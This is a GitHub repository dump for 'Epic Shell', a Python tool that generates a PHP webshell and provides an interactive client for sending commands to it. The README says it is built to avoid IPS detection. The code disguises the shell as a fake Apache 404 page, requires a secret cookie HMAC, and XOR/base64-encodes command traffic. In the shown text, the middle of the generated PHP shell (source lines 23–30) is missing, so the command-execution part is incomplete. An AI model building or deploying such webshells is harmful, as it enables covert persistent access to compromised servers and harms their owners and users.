├── README.md ├── beta.py ├── images ├── error.PNG ├── generate.PNG └── shell.PNG └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | # Epic Shell 2 | This is just a dumb project to improve my coding skills. The goal was to create a webshell that isn't a pain to work with, and one that won't get immediately detected by IPS solutions (work in progress). 3 | 4 | ## Usage 5 | 6 | ``` 7 | usage: beta.py [-h] [-c CONNECT] [-k KEY] [-g] [-pk PKEY] 8 | 9 | Web Shell 10 | 11 | optional arguments: 12 | -h, --help show this help message and exit 13 | -g, --generate Generate new key and webshell. 14 | -c CONNECT, --connect CONNECT URL of web shell to connect to. 15 | -k KEY, --key KEY Auth key for the generated web shell. 16 | -pk PKEY, --payload-key PKEY Payload key for webshell. 17 | ``` 18 | 19 | It is highly recommended to wrap the keys in double-quotes or single-quotes on your terminal to prevent issues connecting. 20 | 21 | ### Examples 22 | 23 | ![screenshot](/images/generate.PNG) 24 | 25 | Use the `-g` option to generate a web shell and an accompanying authentication key. There's probably a sneakier way to do it, but this currently requires a specific cookie header to interact with. 26 | 27 | ![screenshot](/images/shell.PNG) 28 | 29 | Alternatively, if you have the generated shell loaded onto a server, you can interact with it by specifying the `--connect `, `-k KEY`, and `-pk PAYLOAD_KEY` arguments. This shell supports terminal clearing via the "clear" command. There may be some risks with using `os.system` to do this, but w/e. Baby project, don't care at the moment. 30 | 31 | Payload traffic is base64 & XOR encoded. The session HMAC and XOR schemes are polymorphic, and the values will change everytime you generate a shell. I will try to make this beefier as I get better with PHP. Enjoy! 32 | 33 | ![screenshot](/images/error.PNG) 34 | 35 | Anyone trying to access the shell without the accompanying keys should see this page (might need some work to make it more believable). 36 | 37 | ### To-do 38 | 39 | Add support for directories that require cookies (e.g. wordpress sites) 40 | -------------------------------------------------------------------------------- /beta.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import bcrypt 5 | import os 6 | import random 7 | import requests 8 | import sys 9 | import string 10 | 11 | from base64 import b64encode 12 | from termcolor import colored 13 | 14 | def generate_key(seed): 15 | 16 | salt = bcrypt.gensalt(rounds=12, prefix=b'2b') 17 | key = b64encode(bcrypt.hashpw(str(seed).encode("ascii"), salt)) 18 | return key.decode() 19 | 20 | def generate_shell(key, gen_pkey): 21 | 22 | shell = ['";', 31 | ' echo "404 Not Found";', 32 | ' echo "";', 33 | ' echo "

Not Found

";', 34 | ' echo "

The requested URL was not found on this server.

";', 35 | ' echo "
";', 36 | ' echo "
Apache Server at localhost Port 80
";', 37 | ' echo "";', 38 | ' die();', 39 | ' }', 40 | '?>'] 41 | 42 | with open('./shell.php', 'w+') as file: 43 | for line in shell: 44 | file.write(line + '\n') 45 | file.close() 46 | print(colored('[+] ', "green") + 'Created new shell.php file.') 47 | 48 | def connect(url, hmac, payload_key): 49 | 50 | while True: 51 | 52 | cmd = str(input(colored("shell~$ ", "yellow", attrs=["bold"]))) 53 | if cmd == 'exit' or cmd == 'quit': 54 | sys.exit(0) 55 | if cmd == 'clear': 56 | try: 57 | os.system('clear') 58 | except: 59 | os.system('cls') 60 | 61 | s1 = cmd 62 | s2 = payload_key 63 | 64 | custom_headers = { 65 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 66 | 'Cookie':'session=' + hmac, 67 | } 68 | 69 | try: 70 | 71 | s = requests.Session() 72 | r = s.post(url, data=b64encode(xor_function(s1,s2).encode("ascii")), headers=custom_headers, verify=False) 73 | print(r.text) 74 | 75 | except(requests.ConnectionError, requests.HTTPError, requests.Timeout) as e: 76 | 77 | print(e) 78 | 79 | def xor_function(s1, s2): 80 | 81 | return "".join([chr(ord(c1) ^ ord(c2)) for (c1,c2) in zip(s1,s2)]) 82 | 83 | def main(args): 84 | 85 | special_chars = '!@#%^&*()-=_+[]{}";:,./<>?' 86 | charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + special_chars 87 | 88 | seed = ''.join(random.choices(charset, k=50)) 89 | gen_pkey = ''.join(random.choices(charset, k=8)) 90 | 91 | if args.connect: 92 | 93 | payload_key = args.pkey 94 | url = args.connect 95 | hmac = args.key 96 | print(colored('[+] ', "blue") + 'Connecting to %s\nUsing HMAC: %s\nUsing Payload Key: %s\n' % (url,hmac,payload_key)) 97 | connect(url, hmac, payload_key) 98 | 99 | if args.generate: 100 | 101 | print(colored('[+] ', 'blue') + 'Seed: ' + seed) 102 | print(colored('[+] ', 'blue') + 'Payload Key: ' + gen_pkey) 103 | key = generate_key(seed) 104 | print(colored('[+] ', 'blue') + 'Key: %s' % key) 105 | generate_shell(key, gen_pkey) 106 | 107 | if __name__ in "__main__": 108 | 109 | formatter = lambda prog: argparse.HelpFormatter(prog,max_help_position=50) 110 | parser = argparse.ArgumentParser(description='An Epic Web Shell - @cwinfosec', formatter_class=formatter) 111 | parser.add_argument("-g", "--generate", dest="generate", help="Generate new key and webshell.", action="store_true", required=False) 112 | parser.add_argument("-c", "--connect", dest="connect", type=str, help="URL of web shell to connect to.", required=False) 113 | parser.add_argument("-k", "--key", dest="key", type=str, help="Auth key for the generated web shell.", required=False) 114 | parser.add_argument("-pk", "--payload-key", dest="pkey", help="Payload key for webshell.", required=False) 115 | args = parser.parse_args() 116 | main(args) -------------------------------------------------------------------------------- /images/error.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cwinfosec/epic_shell/bf49a7b4b84423132f4c2debbbce94e4d94242da/images/error.PNG -------------------------------------------------------------------------------- /images/generate.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cwinfosec/epic_shell/bf49a7b4b84423132f4c2debbbce94e4d94242da/images/generate.PNG -------------------------------------------------------------------------------- /images/shell.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cwinfosec/epic_shell/bf49a7b4b84423132f4c2debbbce94e4d94242da/images/shell.PNG -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.32.0 2 | termcolor==1.1.0 3 | bcrypt==3.1.7 4 | --------------------------------------------------------------------------------